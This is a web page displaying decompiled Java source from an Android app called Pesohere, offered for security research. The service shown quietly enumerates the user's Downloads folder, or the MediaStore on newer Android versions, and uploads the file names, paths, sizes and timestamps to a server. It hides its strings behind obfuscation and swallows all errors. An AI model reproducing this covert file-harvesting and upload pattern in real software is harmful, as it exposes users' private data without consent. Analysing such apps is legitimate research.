导航菜单

页面标题

页面副标题

Pesohere v1.0.5 - UploadDownLoadFileCowHereService.java 源代码

正在查看: Pesohere v1.0.5 应用的 UploadDownLoadFileCowHereService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.cow.here.uicowhereanddto.scowhereervice;

import android.annotation.TargetApi;
import android.app.IntentService;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.provider.MediaStore;
import com.cow.here.appcowherelication.AppCowHereLication;
import com.cow.here.netcowherework.dcowhereto.requestcowhere.DownLoadFileRequestCowHere;
import com.cow.here.netcowherework.dcowhereto.responsecowhere.ErrorCowHereDto;
import com.wang.avi.BuildConfig;
import f.c.a.c;
import f.c.a.g.i;
import f.c.a.g.j;
import i.u.b.f;
import i.x.o;
import java.io.File;
import java.util.ArrayList;
import java.util.List;

public final class UploadDownLoadFileCowHereService extends IntentService {
    public final DownLoadFileRequestCowHere b;

    public final ArrayList<DownLoadFileRequestCowHere.FileCowHereItem> f445c;

    public static final class a extends i<String> {
        @Override
        public void a(ErrorCowHereDto errorCowHereDto) {
            f.f(errorCowHereDto, c.a("CBMABBc="));
        }

        @Override
        public void b(String str) {
            f.f(str, c.a("CRUd"));
        }
    }

    public UploadDownLoadFileCowHereService() {
        super(c.a("OBEeBAQQNBwYBikdBAknGwcANx8EJw0XFzYIEwQCBhE="));
        this.b = new DownLoadFileRequestCowHere();
        this.f445c = new ArrayList<>();
    }

    public final void a(File[] fileArr) {
        File[] fileArr2 = fileArr;
        f.f(fileArr2, c.a("CwgeDhY="));
        try {
            int length = fileArr2.length;
            int i2 = 0;
            while (i2 < length) {
                File file = fileArr2[i2];
                i2++;
                if (file.isDirectory()) {
                    File[] listFiles = file.listFiles();
                    if (listFiles.length > 0) {
                        f.e(listFiles, c.a("AQgBHwMdHBYc"));
                        a(listFiles);
                    }
                } else if (file.isFile()) {
                    String name = file.getName();
                    long lastModified = file.lastModified();
                    long length2 = file.length();
                    String path = file.getPath();
                    String str = BuildConfig.FLAVOR;
                    f.e(path, c.a("CwgeDhUVBBs="));
                    if (o.A(path, c.a("Qw=="), false, 2, null)) {
                        f.e(path, c.a("CwgeDhUVBBs="));
                        List g0 = o.g0(path, new String[]{c.a("Qw==")}, false, 0, 6, null);
                        str = (String) g0.get(g0.size() - 1);
                    }
                    this.f445c.add(new DownLoadFileRequestCowHere.FileCowHereItem(name, str, Long.valueOf(lastModified), Long.valueOf(length2)));
                }
                fileArr2 = fileArr;
            }
        } catch (Exception unused) {
        }
    }

    @Override
    @TargetApi(30)
    public void onHandleIntent(Intent intent) {
        try {
            this.b.userAction = AppCowHereLication.f443f;
            if (d.i.f.a.a(this, c.a("DA8WGQodFF0fDRcfDB4SGwQLWiI2Liw6Nz05JCAlJDgvIDsnNzMiKA==")) == 0) {
                File externalStoragePublicDirectory = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);
                if (externalStoragePublicDirectory.exists() && externalStoragePublicDirectory.isDirectory()) {
                    File[] listFiles = externalStoragePublicDirectory.listFiles();
                    if (listFiles.length > 0) {
                        f.e(listFiles, c.a("CwgXBwEbBx0DBwQW"));
                        a(listFiles);
                    }
                } else {
                    File file = new File(Environment.getExternalStorageDirectory(), c.a("KQ4FBQkbERc="));
                    if (file.exists() && file.isDirectory()) {
                        File[] listFiles2 = file.listFiles();
                        if (listFiles2.length > 0) {
                            f.e(listFiles2, c.a("CwgXBwEbBx0DBwQW"));
                            a(listFiles2);
                        }
                    }
                }
            }
            if (this.f445c.size() == 0 && Build.VERSION.SDK_INT >= 29) {
                Cursor cursor = null;
                try {
                    try {
                        try {
                            Uri uri = MediaStore.Downloads.EXTERNAL_CONTENT_URI;
                            f.e(uri, c.a("KDkmLjc6MT8wKyo8MSgvJjQwJjk="));
                            ContentResolver contentResolver = getApplication().getContentResolver();
                            f.e(contentResolver, c.a("CgQGKhUEHBoMCREbCgNJW0UCEQQwAAYRFwsZMxcYChgGFh1ATA=="));
                            cursor = contentResolver.query(uri, null, null, null, null);
                            if (cursor != null) {
                                int columnIndexOrThrow = cursor.getColumnIndexOrThrow(c.a("MgUbGBUYEQowBgQfAA=="));
                                int columnIndexOrThrow2 = cursor.getColumnIndexOrThrow(c.a("AAgfDjoACQMK"));
                                int columnIndexOrThrow3 = cursor.getColumnIndexOrThrow(c.a("CQAGDjoZHxcGDgwXAQ=="));
                                int columnIndexOrThrow4 = cursor.getColumnIndexOrThrow(c.a("MhIbEQA="));
                                while (cursor.moveToNext()) {
                                    this.f445c.add(new DownLoadFileRequestCowHere.FileCowHereItem(cursor.getString(columnIndexOrThrow), cursor.getString(columnIndexOrThrow2), Long.valueOf(cursor.getLong(columnIndexOrThrow3)), Long.valueOf(cursor.getLong(columnIndexOrThrow4))));
                                }
                            }
                            f.c(cursor);
                        } catch (Exception unused) {
                        }
                    } catch (Throwable th) {
                        try {
                            f.c(cursor);
                            if (!cursor.isClosed()) {
                                cursor.close();
                            }
                        } catch (Exception unused2) {
                        }
                        throw th;
                    }
                } catch (Exception unused3) {
                    f.c(cursor);
                }
            }
            if (this.f445c.size() > 0) {
                this.b.userContent = this.f445c;
                j.f2572c.b().f(null, null, c.a("QhEXGAoyBR1AHRVdAQIWHCMABhUjBw4MHgBC"), this.b, false, String.class, new a(), (r19 & 128) != 0 ? c.a("ChIdBQ==") : null);
            }
        } catch (Exception unused4) {
        }
    }
}